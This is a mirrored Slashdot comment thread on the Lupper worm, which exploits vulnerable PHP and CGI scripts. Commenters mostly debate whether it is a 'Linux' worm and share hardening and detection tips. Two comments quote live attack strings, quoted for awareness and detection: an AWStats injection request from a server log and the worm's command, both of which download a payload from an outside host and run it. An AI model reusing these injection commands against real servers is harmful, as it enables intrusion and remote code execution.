Slashdot Mirror


Linux Lupper.Worm In the WIld

jurt1235 writes "McAfee reports that a Linux worm has been found in the wild. The Linux/Lupper.worm is a derivative of the Linux/Slapper worm which also exists for BSD, just to be crossplatform. From the McAfee description: The worm blindly attacks web servers by sending malicious http requests on port 80. If the target server is running one of the vulnerable scripts at specific URLs and is configured to permit external shell commands and remote file download in the PHP/CGI environment, a copy of the worm could be downloaded and executed."

363 comments

  1. CONTINUE: by xtracto · · Score: 5, Funny

    Next, is a collection of messages telling that it is the fault of the system andministrators and not a problem of the Linux Distributions.

    p.s. BURN KARMA BURN!

    --
    Ubuntu is an African word meaning 'I can't configure Debian'
    1. Re:CONTINUE: by EraserMouseMan · · Score: 1, Funny

      Of course, Linux is perfect by definition.

      And I'm sure this worm was written by a Microsoftie or possibly by Bill Gates himself.

    2. Re:CONTINUE: by freeweed · · Score: 4, Insightful

      Well, actually, yes. Seeing as no Linux distibution installs and runs a webserver, plus one of the affected PHP utilities, by default, this one is squarely on the administrator's shoulders.

      Understanding just WHAT a vulnerability affects is the key to knowing who's responsible.

      --
      Endless arguments over trivial contradictions in books written by ignorant savages to explain thunder in the dark.
    3. Re:CONTINUE: by ksjfhdsalf · · Score: 1, Insightful

      Your damn right it's the system admin's fault. Because the worm can only get in if your linux server "is configured to permit external shell commands and remote file download in the PHP/CGI environment, a copy of the worm could be downloaded and executed". Not like you couldn't fuck a windows server the same way. ...upload - FuckYou.bat ...execute - www.dumbass.com/UnsecureDir/FuckYou.bat

    4. Re:CONTINUE: by clickster · · Score: 2, Interesting

      Would you accept the same excuse for IIS?

      --
      If you mod me down, I shall become less powerful than you could possibly imagine.
    5. Re:CONTINUE: by Anonymous Coward · · Score: 0

      Eh, it wouldn't be the same excuse, since you have made a category error.

    6. Re:CONTINUE: by clickster · · Score: 1

      category error? For arguments sake, can you be more specific on what you mean by that?

      --
      If you mod me down, I shall become less powerful than you could possibly imagine.
    7. Re:CONTINUE: by thousandinone · · Score: 0

      No windows server installs IIS by default.

    8. Re:CONTINUE: by Anonymous Coward · · Score: 0

      Someone hit him over the head with a big cluestick, please. Don't hold back, hit him hard.

    9. Re:CONTINUE: by Enahs · · Score: 2, Informative

      I'll step in just for giggles: Category Error

      --
      Stating on Slashdot that I like cheese since 1997.
    10. Re:CONTINUE: by Anonymous Coward · · Score: 0

      "Seeing as no Linux distibution installs and runs a webserver, plus one of the affected PHP utilities, by default, this one is squarely on the administrator's shoulders."

      What comes after the word "plus"?

    11. Re:CONTINUE: by LittLe3Lue · · Score: 0

      The real question is, are those options default in an apache setup?

      If so, it is definetally flawed, apache, not linux per-se, unless the worm itself uses other linux bugs after it has been downloaded.

      If the setting are not default, then it is still apache's fault but is not as severe a problem (as per >50% all installs left default/near default).

      Should i worry about my webserver?

    12. Re:CONTINUE: by Anonymous Coward · · Score: 0

      WebSERVER vs. webBROWSER
      Or should we consider your comment as a joke?

    13. Re:CONTINUE: by idonthack · · Score: 1

      GP: "webserver"

      P: "web browser"

      Major difference.

      --
      Why is it that when you believe something it's an opinion, but when I believe something it's a manifesto?
    14. Re:CONTINUE: by freeweed · · Score: 1

      Sure, if you're including a 3rd party add-on scripting system that actually contains the vulnerability.

      However, I was more thinking along the lines of zobot or the various RPC worms as of late.

      To recap:

      An OS worm means it exploits a base OS install. Something in Windows (RPC, PNP), or Linux (none so far). Morris would be the first example of this, of course :) VERY DANGEROUS WORMS.

      A webserver worm means it exploits the webserver. IIS (Code Red, Nimda, et al), or Apache (we've seen a few here, names escape me at the moment). Neither IIS nor Apache is running with a default installation of either Windows or Linux, these days, so the effect is mitigated somewhat.

      3rd party add-on worm means it exploits a 3rd party component that is installed entirely at a user's whim. This is one that works under Linux. Can't think of any in the Windows world, unless the recent IM worms are starting to spread without user interaction. Very limited effects, unless it's a highly popular add-on.

      --
      Endless arguments over trivial contradictions in books written by ignorant savages to explain thunder in the dark.
    15. Re:CONTINUE: by Omniscientist · · Score: 2, Interesting
      Well it is nice to know that I am a somewhat responsible administrator, as it seems like I survived an attack. In my logs I was wondering why I was getting random hits on pages such as "xmlrpc.php" when I didn't have any pages named that. This happened 7 days ago by the way, so it must be around that old.

      I find it kind of strange however that if you go to services/xmlrpc.php on my website, you get a webpage that is actually services.html. No services/xmlrpc.php or even services directory exists in my htdocs folder. Going to plain xmlrpc.php brings up a 404. However I scanned for open UDP ports and neither 7111 or 7222 are open, so according to McAfee I'm not infected. I'm probably just unknowledgable on what xmlrpc.php is, but it is still strange.

    16. Re:CONTINUE: by budgenator · · Score: 2, Insightful

      Would you accept the same excuse for IIS?
      FTA I don't see where it a linux worm, or even an appache worm it's primarily attacking php scripts even then it's only capable of attacking php scripts in servers that are configured to allow 2 very well known security configuration flaws and one that's recomemded against. NOTE the windows ME-XP instructions on the page.

      --
      Apocalypse Cancelled, Sorry, No Ticket Refunds
    17. Re:CONTINUE: by Trepalium · · Score: 1

      Well, would you blame Microsoft for the vulnerabilities in aspWebCalendar 4.x or ASP Nuke? Or perhaps it's Microsoft's fault that there is a exploitable flaw in Macromedia Flash Player (it's an option during the IE6 install)? If you want to complain about double standards, how about we start with that one?

      --
      I used up all my sick days, so I'm calling in dead.
    18. Re:CONTINUE: by Anonymous Coward · · Score: 0

      You win the clueless nutsack of the year award. Good job.

    19. Re:CONTINUE: by digismack · · Score: 1

      But, does it run on Lin.. wait..

      --
      http://www.hollowdepth.com
    20. Re:CONTINUE: by rtb61 · · Score: 2, Funny

      Only if the worm turns and starts to attack windoze boxen instead, thats the defining nature of redmond code, bugs.

      --
      Chaos - everything, everywhere, everywhen
    21. Re:CONTINUE: by trick-knee · · Score: 1

      hey, that's a cool site. I liked this: http://wiki.cotch.net/index.php/Category:Fallacies .
      is it your site?

    22. Re:CONTINUE: by tinkertim · · Score: 1

      People it is really not hard to find and detect this.

      If you maintain a public web server that offers space to the masses at low cost, you better read up on :

      lsof
      netstat

      Reminder - all fedora / rhel users , /dev/shm exists on your system and by default allows code to execute.

      Reminder to apache users, /apache_root/apache/proxy exists on any new installation (for the most part) and is world-writeable , executable and owned by nobody.

      Don't go forcing phpsuexec and checking gid's on port 80 via iptables. Just realize what is world writeable and executable that uid 99 can get to (generally, "nobody").

      Even on public servers, creative usage of loop devices can save you a lot of late nigh aggravation answering abuse tickets.

      Most hosting companies can *not* disable some of the php functionality such as shell_exec, passthru, file_get_contents, etc. It breaks too much functionality for their customers. They really have no choice but to leave a somewhat inherently insecure setup running else they can not compete with those who do.

      If you get hammered, *please* just send them a polite report and ask them to locate it. Most will use mod_security, again, this can be tuned to ignore whatever malformed URL's this new variant sends.

      Why does this matter to those who do not run a hosting company? Because 90% of the abuse you receive is probably coming from a compromised webserver. If everyone is very watchful over the next few weeks this will pass without too much annoyance.

      Slapper is the most annoying but not the end of the world.

      HTH

      tinkertim

    23. Re:CONTINUE: by EraserMouseMan · · Score: 1

      That made absolutely no sense whatsoever.

    24. Re:CONTINUE: by Nutria · · Score: 1
      Would you accept the same excuse for IIS?

      Well, no.

      See, there are 2 factors here:
      • Windows, SQL Server, IIS, .NET, ActiveX & IE are all created by a single company, the s/w colossus Microsoft.
      • The vituperation that should be aimed at MSFT is often wrongly aimed at "Windows". If IIS, SQL Server & IE were all written by separate non-MSFT companies, and MSFT only built the base OS (no IE, no WMP, no Office) and VisualStudio, then MSFT would obviously take a lot less heat.
      --
      "I don't know, therefore Aliens" Wafflebox1
    25. Re:CONTINUE: by kimvette · · Score: 1

      Really?

      Windows Web Server edition?
      Small Business Server (all editions?)

      --
      The Christian Right is Neither (Christian nor right). See: Matthew 23, Matthew 25, Ezekiel 16:48-50
    26. Re:CONTINUE: by Anonymous Coward · · Score: 0

      Dated versions not available for sale anymore- yes.
      Current versions available for sale- no.

    27. Re:CONTINUE: by Anonymous Coward · · Score: 0

      Well, yes it is partially their fault. /tmp should be mounted on a seperate partition and mounted as noexec, then the worm wouldn't be able to execute.

  2. Remarkably Useless page. by Short+Circuit · · Score: 5, Interesting
    First, what vulnerability does it exploit? I wasn't able to find any decent info on Linux/Slapper, and that's all it references.

    Second, how do you remove it? Quoth the page:
    Removal Instructions
    AVERT recommends to always use latest DATs and engine . This threat will be cleaned if you have this combination.

    Additional Windows ME/XP removal considerations

    1. Re:Remarkably Useless page. by TheSpoom · · Score: 3, Informative

      It doesn't say what software it tries to exploit but it does say which scripts. I'd post them here but it would be a waste of space; they're about halfway down on the McAfee page.

      I'd say if your website has one of those scripts I'd look into updating or removing whatever software it is that has the vulnerability.

      --
      It's better to vote for what you want and not get it than to vote for what you don't want and get it.
      - E. Debs
    2. Re:Remarkably Useless page. by gowen · · Score: 5, Informative
      According to ZDNet/Symantec
      "The worm exploits three vulnerabilities to propagate: the XML-RPC for PHP Remote Code Injection vulnerability; AWStats Rawlog Plugin Logfile Parameter Input Validation vulnerability; and Darryl Burgdorf's Webhints Remote Command Execution Vulnerability, according to Symantec's online description of the worm.

      The XML-RPC flaw affects blogging, wiki and content management software and was discovered earlier this year. Patches are available for most systems. AWStats is a log analyzer tool; a fix for the flaw has been available since February. Darryl Burgdorf's Webhints is a hint generation script; no fixes are available for the script, according to Symantec's DeepSight Alert Services."
      --
      Athletic Scholarships to universities make as much sense as academic scholarships to sports teams.
    3. Re:Remarkably Useless page. by tomhudson · · Score: 4, Insightful

      More alarmist shit (and old news at tht - The Reg reported this last week).

      Some php scripts that have as much to do with linux as a vulnerability in, say, photoshop, has to do with xp.

      The anti-virus writers are publicity whores looking to sensationalize their product, because in a few years nobody will be using them (Windows users will be stuck with the "free" verison from Microsoft, and BSD/OSX/Linux users don't need an anti-virus.

    4. Re:Remarkably Useless page. by Anonymous Coward · · Score: 0

      The McAfee page does not list the actual scripts just potential locations for the script. Hence you are a troll.

    5. Re:Remarkably Useless page. by tomhudson · · Score: 1

      I wouldn't call the gp poster a troll. I'd say its more like the antivirus company trolling us. The only reason the risk is rated "low" is because their rating scale doesn't go below that.

    6. Re:Remarkably Useless page. by Viper+Daimao · · Score: 1

      The XML-RPC flaw affects blogging, [and] wiki ... software

      Are we sure this is a bad thing?

      --
      "In the game of life, someone always has to lose. To me, if life were fair, that someone would always be Oklahoma." -DKR
    7. Re:Remarkably Useless page. by harlows_monkeys · · Score: 4, Informative
      More alarmist shit (and old news at tht - The Reg reported this last week)

      My web server logs for my home machine are full of attempts to exploit these holes, coming from a large number of IP addresses.

      This indicates that this is indeed in the wild, and active, and spreading.

      Thus, it is not alarmist shit.

    8. Re:Remarkably Useless page. by tomhudson · · Score: 4, Insightful

      The key word is "attempts".

      Hey, look through your logs - you'll also see slapper in there, and code red, and all sorts of other stuff - but if it doesn't affect you, why give a shit?

      The number of affected machines is going to be VERY low. Fixes for one of the flaws have been out since February. My distro updates itself every couple of days. I'm not worried.

      Now:

      1. If you haven't updated your machine in years
      2. If you have those particular scripts installed
      3. If you allow files in /tmp to be run by processes from user "nobody"

      ... that's a LOT of ifs ...

      In other words, nothing to see here but more antivirus vendor fud.

    9. Re:Remarkably Useless page. by tomhudson · · Score: 4, Funny

      I'll tell you what, anyone wants some practice exploiting the hole, here's the IP address of a vulnerable machine to practice on: http://127.0.0.1/

      Knock yourselves out :-)

    10. Re:Remarkably Useless page. by j-cloth · · Score: 1

      My logs are full of attempts on those pages as well. Interestingly, the UA comes up as IE6 on Win98.

      203.75.99.18 - - [30/Jul/2005:06:30:39 -0400] "GET /awstats/awstats.pl?configdir=|echo%20;cd%20/tmp;r m%20-rf%20*;killall%20-9%20perl;wget%20www.pulamea suxtefute.com/sess_3539283e27d73cae29fe2b80f9293f5 9;perl%20sess_3539283e27d73cae29fe2b80f9293f59;ech o%20;echo| HTTP/1.1" 404 304 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
      Yes, it's trivial to fake a UA, but it's still odd.

    11. Re:Remarkably Useless page. by CowboyBob500 · · Score: 1

      Well so far this month I've had exactly 5 hits asking for the various URLs on my main webserver so from over here the problem is most definitiely overstated.

      Bob

    12. Re:Remarkably Useless page. by dp101270 · · Score: 1

      I see records in my httpd logs of this thing trying to exploit my server as far back as October 9th. FYI, DP

      --
      DP
    13. Re:Remarkably Useless page. by Kiaser+Zohsay · · Score: 1

      I see two attempts on the "awstats" series of URLs in five weeks worth of Apache logs, one from Oct 17, and another from Oct 21. Not exactly breaking down the door, are they? Code Red lit up our logs like a christmas tree. Now *that* was widespread.

      --
      I am not your blowing wind, I am the lightning.
    14. Re:Remarkably Useless page. by Anonymous Coward · · Score: 0

      That's a paypal scam. Bring it down!
      # ping -f 127.0.0.1

    15. Re:Remarkably Useless page. by Anonymous Coward · · Score: 0

      er, where exactly do you think these "attempts" are coming from? It's been classified as a worm for a reason.

    16. Re:Remarkably Useless page. by Anonymous Coward · · Score: 0

      ... that's a LOT of ifs ...
      In other words, nothing to see here but more antivirus vendor fud.


      But that's the way it goes. SQL Slammer had a lot of ifs too but it was pretty rampant.

    17. Re:Remarkably Useless page. by tomhudson · · Score: 1

      I see records in my httpd logs of this thing trying to exploit my server as far back as October 9th. FYI, DP
      ... and if you had bothered to check, you would have seen that it was fixed in (wait for it) February ... this is REALLY OLD ... NOT news ...
    18. Re:Remarkably Useless page. by tomhudson · · Score: 1

      But that's the way it goes. SQL Slammer had a lot of ifs too but it was pretty rampant.
      Slammer? Didn't bother me at all ...
      Systems Not Affected:,
      DOS, Linux, Macintosh, Novell Netware, OS/2, UNIX,
      ... all it did was make for bigger log files ...
    19. Re:Remarkably Useless page. by tomhudson · · Score: 2, Insightful

      er, where exactly do you think these "attempts" are coming from? It's been classified as a worm for a reason.

      it was mis-classified as a "linux" worm, even though it has zero to do with linux. It's a bug in several php 3rd-party scripts, it was fixed months ago, and today is Troll Tuesday, and the editors are messing with your heads.

      sure, if I want I could set a box up to partake in the fun (get an older distro, make sure it has the right files, and put it on the net ... and wait pretty much forever for it to get wormed. It's not that prevailent, it's not that capable of propagating itself (there aren't that many vulnerable hosts out there), yadda yadda yadda ...

      Remember, symantec and Mcafee and the rest are looking at their market pretty much disappearing over the next 2 years. Microsoft is going to be selling their own anti-virus, and most people will go with that as a default, even if there are much better products out there.

      It's the same situation with firefox and openoffice - both much better products than Internet Exploder and Word, but people stick with what they've got because they're lazy and/or stupid and/or timid and/or its "good enough".

      So just who are the antivirus vendors going to sell to in the future? Its not like you need any special tools to clean up a unix box with a bad script - last I looked, vi and/or rm came with every system. As for bad binaries, well, unlike certain OTHER systems, we have the source ... we're not dependent on vendors for patching binaries, nor on antivirus vendors for "cleaning" infected binaries.

      So, again, the antivirus vendors are looking at a diminishing market base over the next few years. Time for them to start hiring some black hats and creating as many worms as they can.

    20. Re:Remarkably Useless page. by tomhudson · · Score: 1

      ... and if your box stops working, you've probably been pwned. If your updated anti-virus software doesn't detect a virus, you're pwned! Better reformat, just to be sure...

    21. Re:Remarkably Useless page. by Stephen+Samuel · · Score: 2, Insightful
      Looking at the logs for one of my sites (for all of the entries from the mcafee site other than bare directory scans), I'm finding 31 hits from 4 sites with the first being October 6. All seem to have returned 404 errors.

      So, something is hunting for vulnerable scripts (no big shock), but it seems far from rampant.

      on the other hand, a friend of mine runs a multi-hosting site with a couple of hundred customers, and we've had to do multiple sweeps for people running out of date scritpts with holes in them that have been exploited (and then had to hunt down and clean up the resulting exploitation). Some of the customers respond to our warning messages. Others ignore the warnings and just blindly re-enable the broken scripts.

      These are definitely user issues, not Linux issues. If you install and run a program you really are responsible for making sure that it's safe. Beyond a certain point, the OS can't protect you from your own stupidity.

      On the other hand, if the exploit then finds a local root exploit, then I'd call that a Linux problem.

      As far as I'm concerned, the distributor is responsible for holes in a default installation -- Those are often done by newbies who may not even know that a vulnerable service is running on his/her box (or even what a service is).
      When you start installing add-on programs and remote scripts, their default forms are pretty much the responsibility of the people who make them available (modulo any explicit warnings they give an installer). The user, however is ultimately responsible for what he adds to his system.

      --
      Free Software: Like love, it grows best when given away.
    22. Re:Remarkably Useless page. by Anonymous Coward · · Score: 0

      Gee, we haven't seen that joke about 1400 fucking times.

      Good one.

    23. Re:Remarkably Useless page. by Macrobat · · Score: 4, Funny

      You know, if you link to a porn site, you could at least warn us.

      --
      "Hardly used" will not fetch you a better price for your brain.
    24. Re:Remarkably Useless page. by budgenator · · Score: 4, Insightful

      step one go to securityfocus and update all of the applications listed on your system.
      Symptoms
      Presence of the following file:
      * /tmp/lupii
      One of the following ports are listening:
              * UDP 7111
              * UDP 7222

      so running su -c"netstat --listening --extend --program" tells you if its even running by listing what listening to any port such as UDP 7111 7222
      then it would be easy to
      su -c"kill -9 pid-of-lupii" su -c"rm /tmp/lupii" su -c"touch tmp/lupii"

      the worm appearent does this
      echo '_begin_';echo `cd /tmp;wget xx.xx.193.244/lupii;chmod +x lupii;./lupii xx.xx.193.244 `;echo '_end_';exit;/*
      so unless your server has a vulnerability that allows privailige escalation from nobody its stuck in tmp directories or possibly in your html directories.

      --
      Apocalypse Cancelled, Sorry, No Ticket Refunds
    25. Re:Remarkably Useless page. by eventhorizon5 · · Score: 1

      >The number of affected machines is going to be VERY low. Fixes for one of the flaws have been out since February. My distro updates itself every couple of days. I'm not worried.

      When I worked as an intern/co-op at Argonne National Laboratory back in 2001-2002 (year and a half), I was heading a project comparing the installed lab-wide Cisco IDS systems with the open-source Snort IDS on a Linux testbed machine semi-running off the fiber backbone (spanning). We detected tons of exotic exploit attempts, and I'll never forget the worms that were trying to hit NT 3.51 boxes - the guy working with me said something like "does anybody even run NT3 anymore?". Some people still run it, but it's very rare.

      -eventhorizon

      --
      #Secret Windows Source Code, in MS C% - if (uptime >= "24 hours") then bsod() else print "Windows License Violation!"
    26. Re:Remarkably Useless page. by harrkev · · Score: 1
      I'll tell you what, anyone wants some practice exploiting the hole, here's the IP address of a vulnerable machine to practice on: http://127.0.0.1/
      Wow. Thanks. The guy who owns that computer is an idiot. It only took me ten minutes to hack in! He has a lot of warez, too, but nothing that I don't already have. I think that I'll delete a bunch of stuff to teach him a lesson.
      --
      "-1 Troll" is the apparently the same as "-1 I disagree with you."
  3. PHP exploit, not directly a linux problem? by Anonymous Coward · · Score: 5, Insightful

    Seems kind of wrong to name it exclusively a linux problem.

    1. Re:PHP exploit, not directly a linux problem? by xyvimur · · Score: 0, Redundant

      It is admins' problem... Lazy admins...

    2. Re:PHP exploit, not directly a linux problem? by mysqlrocks · · Score: 5, Informative

      Calling it a PHP exploit would be wrong as well. It's an exploit of specific applications written in PHP (AWStats and Drupal from what I could tell).

    3. Re:PHP exploit, not directly a linux problem? by EraserMouseMan · · Score: 2, Interesting

      Is it possible for this exploit to occur under any other OS other than Linux? If so, then maybe Linux is not the root cause, but it is definately "a linux problem".

    4. Re:PHP exploit, not directly a linux problem? by Anonymous Coward · · Score: 0

      So if someone writes a worm that exploits a hole in a Java app, can we claim it's a Solaris-only worm? How about C#-based worms?

    5. Re:PHP exploit, not directly a linux problem? by sqlrob · · Score: 2, Insightful

      The worm is, since it downloads an executable.

      The security holes are most likely generic.

    6. Re:PHP exploit, not directly a linux problem? by rbochan · · Score: 3, Informative

      Calling it a PHP exploit would be wrong as well. It's an exploit of specific applications written in PHP (AWStats and Drupal from what I could tell).

      According to this article, AWStats was patched back in February.

      --
      ...Rob
      The American Dream isn't an SUV and a house in the suburbs; it's Don't Tread On Me.
    7. Re:PHP exploit, not directly a linux problem? by metaclous · · Score: 0

      Drupal was patched in June and August.

    8. Re:PHP exploit, not directly a linux problem? by Been+on+TV · · Score: 1

      So, since it downloads an executable, I guess it is a Linux on Intel problem or does it target other processors?

      --
      The future is in beta
    9. Re:PHP exploit, not directly a linux problem? by Been+on+TV · · Score: 1

      It keeps logging in snort on other operating systems too, but since it presumably tries to install a binary compiled for an Intel processor, it would not do much harm even if it penetrated the other layers of protection. But I guess FreeBSD and others that run Intel Linux binaries could be targeted.

      --
      The future is in beta
    10. Re:PHP exploit, not directly a linux problem? by Kelson · · Score: 1

      It also appears to target Wordpress, B2, and B2Evolution. Wordpress has been patched for months. I'd assume B2Evo has as well. B2, however, ceased development something like two years ago, after which WP and B2Evo forked from it. I'm surprised they bothered with B2 itself -- are there really that many unattended B2 blogs still out there?

    11. Re:PHP exploit, not directly a linux problem? by Anonymous Coward · · Score: 0

      Except, it's a perl executable.

    12. Re:PHP exploit, not directly a linux problem? by budgenator · · Score: 1

      I've found examples of the exploit, basicaly it a bash command injection into the vulnerable server so it really doesn't run in windows, it says begin, it cd /tmp, it downloads a payload with wget, does a chmod +x /tmp/lupii, then runs lupii as user nobody. luppi will not run in windows as far as I can tell, and the commands don't work in windows, but I think if the basic XML-RPC vulnerability existed on your windows machine, they'd have something far worse than lupii to install at hand.

      --
      Apocalypse Cancelled, Sorry, No Ticket Refunds
  4. How can we get some free press? by ivan256 · · Score: 3, Insightful

    Oh, well we've got this PHP worm... Why don't we call it a Linux worm and the press will just eat it up!

    1. Re:How can we get some free press? by jellomizer · · Score: 4, Insightful

      Because it seems to only effect Linux and BSD systems (With a different worm). Other systems running PHP are not effected. So yes it is a linux worm. Like many of the Windows worms are not Windows Worms, but IE or OutLook Worms.

      --
      If something is so important that you feel the need to post it on the internet... It probably isn't that important.
    2. Re:How can we get some free press? by sqlrob · · Score: 5, Insightful

      IE Worm = Windows worm.

      Remember, IE is integrated into the OS according to MS, therefore it is a Windows worm.

    3. Re:How can we get some free press? by slavemowgli · · Score: 1

      Then it should be a Linux/*BSD worm, and even that would still be misleading at best, as PHP is what's the problem here. Yes, it's PHP on specific platforms only, but the hole is in PHP, not Linux or *BSD, so it *should* be called a "PHP worm affecting Linux/*BSD platforms", or something similar.

      --
      quidquid latine dictum sit altum videtur.
    4. Re:How can we get some free press? by Anonymous Coward · · Score: 0

      Effect is a noun. Affect is a transitive verb.

      "It only *****s Linux and BSD systems" - you want a verb. Hence, you wanted to use affect.

      There are rare uses of effect as a verb and affect as a noun, but I can tell that you are quite common, so you probably don't need to know much about them.

    5. Re:How can we get some free press? by SmellTheCoffee · · Score: 2, Insightful

      An IE Worm or Outlook Work is absolutely **a windows worm** since they they are all designed by Microsoft and integrated tightly in the OS. Linus didn't write PHP and any Linux distro or BSD's don't require you to install PHP. You are free to install or uninstall PHP. Attributing this worm to Linux is like blaming Windows for an Adobe Acrobat vulnerability.

    6. Re:How can we get some free press? by cnelzie · · Score: 2, Interesting

      Except the blasted media only calls them "Computer Worms", they do not mention Windows as the problem. That is why everytime one of those stupid announcements make it onto "Good Morning America", I get a call from the boss asking if our servers are safe and everytime, I have to say, that is a Windows problem, not a Linux problem.

          It's annoying that they don't call those Windows Worms/Virus/Trojan attacks...

      --
      If you ignore the other uses of a tool, does that make the tool less useful, or you less useful?
    7. Re:How can we get some free press? by Anonymous Coward · · Score: 0

      It must be horrible to have to take that minute to explain it.

      How do you convince yourself to go to work in the morning?

    8. Re:How can we get some free press? by haruchai · · Score: 1

      Stop looking in the mirror and don't be so hard on yourself!

      --
      Pain is merely failure leaving the body
    9. Re:How can we get some free press? by chamblah · · Score: 1

      Last I knew IE was crossplatform.

    10. Re:How can we get some free press? by NatasRevol · · Score: 1

      Last I knew IE hadn't been updated in several years.

      http://www.macupdate.com/info.php/id/5888

      It's seriously out of date with regards to web standards and security patches. Hence, I wouldn't mention it as a crossplatform option.

      --
      There are two types of people in the world: Those who crave closure
    11. Re:How can we get some free press? by lunadog · · Score: 1
      Because it seems to only effect Linux and BSD systems (With a different worm). Other systems running PHP are not effected.

      Wow, a worm that actually creates Linux and BSD systems.. now this is something I have to see! ;)

    12. Re:How can we get some free press? by Anonymous Coward · · Score: 0

      Insightful? WTF! Apparently slashdot mods (today) haven't had their complete crack allotments disbursed.

      This is fucking insane even for slashdot. I'm embarassed. So embarassed I'm posting as AC when I normall wouldn't. (even when I'm slamming shit like this)

      *hangs head and wanders off*

    13. Re:How can we get some free press? by cout · · Score: 1

      This is a common misconception. While the correct word in this case was "affect", "effect" can be a verb and "affect" can be a noun.

      "Effect" as a verb means "to bring about", e.g. "those oddball open source zealots have effected a change in software development that could turn the information superhighway upside-down."

      "Affect" as a noun is a term used in psychology to desribe a particular aspect of emotion, e.g. "the open source developers showed excited affect when forced to use commercial off-the-shelf software from leading software manufacturers."

    14. Re:How can we get some free press? by Overly+Critical+Guy · · Score: 1

      You mean like how Outlook worms get called Windows worms on Slashdot?

      --
      "Sufferin' succotash."
    15. Re:How can we get some free press? by carlos_benj · · Score: 1

      Hence: There are rare uses of effect as a verb and affect as a noun...

      --

      --

      As a matter of fact, I am a lawyer. But I play an actor on TV.

    16. Re:How can we get some free press? by Halfbaked+Plan · · Score: 2, Insightful

      Similarly, attributing a Windows worm to Windows, when it's really an Outlook worm, is a misdirected accusation. Unless it's in the NT kernel, it's not a Windows worm. It might be a Microsoft bug that causes the problem, but that doesn't make it a Windows worm. The same worm could strike on a machine running Outlook in a bochs sandbox or under wine.

      Linux fans degenerating down to semantics is really, really sad.

      --
      resigned
  5. So.... by Anonymous Coward · · Score: 0

    We must make an effort to get infected?

  6. if it attacks PHP cross-platform... by frankie · · Score: 4, Insightful

    ...then it's a PHP/*nix worm, not Linux specifically.

    Heck there's decent odds it could be modified to attack OSX PHP too. A shame the linked article provides ZERO information about exactly which scripts (and versions thereof) are vulnerable.

    1. Re:if it attacks PHP cross-platform... by Anonymous Coward · · Score: 0

      Theoretically, yes, it could be modified to attack OS X. The problem is that the non-server version, at least, doesn't have PHP enabled by default, and it's not the easiest thing for a normal user to enable. Thus, it could attack OS X Server installs, assuming the administrator had enabled PHP, but that's a really small number of people. If it was a binary worm, then it just wouldn't be able to spread. Script worms are a lot easier to defend against, since they tend not to change from platform to platform, so ClamAV and similar should pick them up and block them without too much trouble.

    2. Re:if it attacks PHP cross-platform... by alexhs · · Score: 3, Informative

      ...then it's a PHP/*nix worm, not Linux specifically.

      Not exactly. From what I understood, there are BSD and Linux variants : both versions are using the same PHP holes, but the binary itself must be Linux or BSD compatible.

      There's a layer available in BSD that allows to run Linux binaries natively, so Linux potentially could infect a BSD system, but it is somewhat like saying an MS-Windows virus could infect a Linux through wine.

      Oh, and while we're at it, aren't these virii more specifically Linux/i386 and BSD/i386 virii ?

      --
      I have discovered a truly marvelous proof of killer sig, which this margin is too narrow to contain.
    3. Re:if it attacks PHP cross-platform... by Anonymous Coward · · Score: 1, Funny
      Oh, and while we're at it, aren't these virii more specifically Linux/i386 and BSD/i386 virii ?

      No, there aren't. Primarily because "virii" IS NOT A WORD YOU TWIT!

    4. Re:if it attacks PHP cross-platform... by Anonymous Coward · · Score: 0

      Actually, "virii" is a word. It has malchaic latin roots depicting "infectionS". Post truistic latin (circa ~578 AD) does not have semantic constructs to describe it as such, thus, even some *modern* latin "scholars" will easily dismiss it, and they are in error for doing so.

      Abusus non tollit usum - in other words: just because everyone misuses the plural of virus today, does not stop you from correctly using it today as they did in the past, and which the GP does correctly with "virii"...

    5. Re:if it attacks PHP cross-platform... by Halfbaked+Plan · · Score: 1


      Oh, and while we're at it, aren't these virii more specifically Linux/i386 and BSD/i386 virii ?


      Nearly everybody thinks PeeCee when they hear 'Linux.' And there are better Freenix alternatives than Linux for almost every other architecture.

      --
      resigned
  7. Also.. by handmedowns · · Score: 0

    The target has to be standing on one foot, and it needs to be the third wednesday of the month in February.

    Really, cmon now.. this gets news? OK, Bravo.. a linux worm.. take away the fact that it's really a web vulnerability that seems to take advantage of a "shell" it could be a solaris/irix/aix/openserver/bsd worm as well..

    But for the smear campaign, lets just call it the linux worm to stirr up the zealots.

    --
    The road between democracy and tyranny is paved with secrecy in the name of security.
  8. Sadly a preview of things to come because... by Assmasher · · Score: 5, Insightful

    ...Linux is more and more popular with corporations holding valuable and important data.

    Success is a double-edged sword. ;)

    --
    Loading...
    1. Re:Sadly a preview of things to come because... by Anonymous Coward · · Score: 0

      You seem to have misspelled 'hatter' as 'masher' in your user name.

    2. Re:Sadly a preview of things to come because... by _Sprocket_ · · Score: 1

      You act like Linux popularity is a new thing.

      The whole "wait until it gets popular" is an interesting concept - but it does tend to ignore a history of Linux (and various usual software packages bundled with "Linux" but running on other *nix platforms) being widely deployed and exposed. Linux has been under attack since the bad old days when Infosec wasn't taken seriously (or at least wasn't a viable market).

      An amusing side note is that this is back when the "wait until it gets popular" argument was applied to WinNT because it really wasn't as wide-spread as it's *nix competition.

    3. Re:Sadly a preview of things to come because... by Questy · · Score: 1

      Someone educate me... My php.ini lists the xmlrpc feature under the heading "Windows Extensions" and references an xmlrpc.dll, I have no further references to XML/RPC anywhere in here. Since it is an XML/RPC, wouldn't the existence of the ability to load this DLL indicate possible infectability of Windows systems as well?

      --
      #!/Jerald
    4. Re:Sadly a preview of things to come because... by Assmasher · · Score: 1

      Actually, I act as though Linux's popularity in corporate America is new, and it is. That certainly doesn't mean it hasn't been in use prior to this (I've been using various flavors at Software Companies with other developers since the mid-90's) but its visibility has only relatively recently begun to embrace its promise. No longer is Linux a viable corporate solution for just those who have problems with Windows. Even those who don't have Windows issues (who're they? ;)) would benefit in many cases from using Linux in their IT strategies.

      --
      Loading...
    5. Re:Sadly a preview of things to come because... by _Sprocket_ · · Score: 1


      Actually, I act as though Linux's popularity in corporate America is new, and it is.


      Let's make sure we're using the same context here. I'm not talking market share, mind share, or penetration in to the Enterprise market. I'm talking exposure to attack... an Infosec context.

      My point is that Linux has already had the exposure required to test its mettle. Further popularity will not bring about a sudden increase in reported vulnerabilities. That's not to say there won't be any further bugs found. But sufficient exposure in the past has already put many eyes on Linux and more eyes won't lead to a sudden outbreak or incremental increase.

      Now - I'm more than willing to hash out arguments why Linux on a corporate intranet (or heck - their public facing servers) will lead to singificantly more exposure (with the above stated context in mind). Do you have one?
    6. Re:Sadly a preview of things to come because... by Assmasher · · Score: 1

